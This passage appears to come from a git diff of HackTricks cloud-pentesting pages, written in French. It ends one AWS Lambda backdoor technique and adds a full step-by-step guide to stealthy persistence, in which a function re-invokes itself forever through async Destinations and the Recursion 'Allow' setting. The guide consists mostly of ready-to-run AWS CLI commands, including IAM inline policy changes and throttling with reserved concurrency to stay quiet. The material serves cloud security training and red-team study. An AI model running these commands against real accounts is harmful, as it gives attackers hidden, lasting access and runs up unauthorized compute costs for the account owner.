aws lambda invoke --function-name "$VER_ARN" /tmp/ver-out.json --region $REGION >/dev/null
|
||||
cat /tmp/ver-out.json
|
||||
|
||||
# 4) Clean up backdoor (remove only the version-scoped statement). Optionally remove the role
|
||||
aws lambda remove-permission --function-name "$TARGET_FN" --statement-id ht-version-backdoor --qualifier "$VER" --region $REGION || true
|
||||
```
|
||||
</details>
|
||||
|
||||
## Impact
|
||||
|
||||
- Fournit une backdoor discrète permettant d'invoquer une version cachée de la fonction sans modifier l'alias principal ni exposer une Function URL.
|
||||
- Limite l'exposition à la seule version/alias spécifiée via la resource-based policy `Qualifier`, réduisant la surface de détection tout en conservant une invocation fiable pour l'attacker principal.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,95 @@
|
||||
# AWS - Lambda Async Self-Loop Persistence via Destinations + Recursion Allow
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
Abusez des Destinations asynchrones de Lambda conjointement avec la configuration Recursion pour faire en sorte qu'une fonction se ré-invoque continuellement sans ordonnanceur externe (pas d'EventBridge, cron, etc.). Par défaut, Lambda termine les boucles récursives, mais définir la config Recursion sur Allow les réactive. Les Destinations livrent côté service pour les invocations async, donc une seule invocation initiale crée un canal furtif de heartbeat/backdoor sans code. Optionnellement, limitez avec reserved concurrency pour maintenir le bruit faible.
|
||||
|
||||
Remarques
|
||||
- Lambda n'autorise pas la configuration de la fonction pour qu'elle soit directement sa propre destination. Utilisez un function alias comme destination et autorisez l'execution role à invoke cet alias.
|
||||
- Permissions minimales : capacité à lire/mettre à jour l'event invoke config et la recursion config de la fonction cible, publier une version et gérer un alias, et mettre à jour la execution role policy de la fonction pour autoriser lambda:InvokeFunction sur l'alias.
|
||||
|
||||
## Exigences
|
||||
- Région: us-east-1
|
||||
- Vars:
|
||||
- REGION=us-east-1
|
||||
- TARGET_FN=<target-lambda-name>
|
||||
|
||||
## Étapes
|
||||
|
||||
1) Obtenir l'ARN de la fonction et le paramètre Recursion actuel
|
||||
```
|
||||
FN_ARN=$(aws lambda get-function --function-name "$TARGET_FN" --region $REGION --query Configuration.FunctionArn --output text)
|
||||
aws lambda get-function-recursion-config --function-name "$TARGET_FN" --region $REGION || true
|
||||
```
|
||||
2) Publier une version et créer/mettre à jour un alias (utilisé comme destination vers soi‑même)
|
||||
```
|
||||
VER=$(aws lambda publish-version --function-name "$TARGET_FN" --region $REGION --query Version --output text)
|
||||
if ! aws lambda get-alias --function-name "$TARGET_FN" --name loop --region $REGION >/dev/null 2>&1; then
|
||||
aws lambda create-alias --function-name "$TARGET_FN" --name loop --function-version "$VER" --region $REGION
|
||||
else
|
||||
aws lambda update-alias --function-name "$TARGET_FN" --name loop --function-version "$VER" --region $REGION
|
||||
fi
|
||||
ALIAS_ARN=$(aws lambda get-alias --function-name "$TARGET_FN" --name loop --region $REGION --query AliasArn --output text)
|
||||
```
|
||||
3) Autoriser le rôle d'exécution de la fonction à invoquer l'alias (requis par Lambda Destinations→Lambda)
|
||||
```
|
||||
# Set this to the execution role name used by the target function
|
||||
ROLE_NAME=<lambda-execution-role-name>
|
||||
cat > /tmp/invoke-self-policy.json <<EOF
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Effect": "Allow",
|
||||
"Action": "lambda:InvokeFunction",
|
||||
"Resource": "${ALIAS_ARN}"
|
||||
}
|
||||
]
|
||||
}
|
||||
EOF
|
||||
aws iam put-role-policy --role-name "$ROLE_NAME" --policy-name allow-invoke-self --policy-document file:///tmp/invoke-self-policy.json --region $REGION
|
||||
```
|
||||
4) Configurer la destination asynchrone vers l'alias (self via alias) et désactiver les réessais
|
||||
```
|
||||
aws lambda put-function-event-invoke-config \
|
||||
--function-name "$TARGET_FN" \
|
||||
--destination-config OnSuccess={Destination=$ALIAS_ARN} \
|
||||
--maximum-retry-attempts 0 \
|
||||
--region $REGION
|
||||
|
||||
# Verify
|
||||
aws lambda get-function-event-invoke-config --function-name "$TARGET_FN" --region $REGION --query DestinationConfig
|
||||
```
|
||||
5) Autoriser les boucles récursives
|
||||
```
|
||||
aws lambda put-function-recursion-config --function-name "$TARGET_FN" --recursive-loop Allow --region $REGION
|
||||
aws lambda get-function-recursion-config --function-name "$TARGET_FN" --region $REGION
|
||||
```
|
||||
6) Amorcer une seule invocation asynchrone
|
||||
```
|
||||
aws lambda invoke --function-name "$TARGET_FN" --invocation-type Event /tmp/seed.json --region $REGION >/dev/null
|
||||
```
|
||||
7) Observer des invocations continues (exemples)
|
||||
```
|
||||
# Recent logs (if the function logs each run)
|
||||
aws logs filter-log-events --log-group-name "/aws/lambda/$TARGET_FN" --limit 20 --region $REGION --query events[].timestamp --output text
|
||||
# or check CloudWatch Metrics for Invocations increasing
|
||||
```
|
||||
8) Limitation discrète optionnelle
|
||||
```
|
||||
aws lambda put-function-concurrency --function-name "$TARGET_FN" --reserved-concurrent-executions 1 --region $REGION
|
||||
```
|
||||
## Nettoyage
|
||||
Interrompre la loop et supprimer la persistence.
|
||||
```
|
||||
aws lambda put-function-recursion-config --function-name "$TARGET_FN" --recursive-loop Terminate --region $REGION
|
||||
aws lambda delete-function-event-invoke-config --function-name "$TARGET_FN" --region $REGION || true
|
||||
aws lambda delete-function-concurrency --function-name "$TARGET_FN" --region $REGION || true
|
||||
# Optional: delete alias and remove the inline policy when finished
|
||||
aws lambda delete-alias --function-name "$TARGET_FN" --name loop --region $REGION || true
|
||||
ROLE_NAME=<lambda-execution-role-name>
|
||||
aws iam delete-role-policy --role-name "$ROLE_NAME" --policy-name allow-invoke-self --region $REGION || true
|
||||
```
|
||||
## Impact
|
||||
- Un seul async invoke provoque que Lambda se ré-invoke continuellement sans ordonnanceur externe, permettant une persistence/heartbeat furtive. Reserved concurrency peut limiter le bruit à une seule warm execution.
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user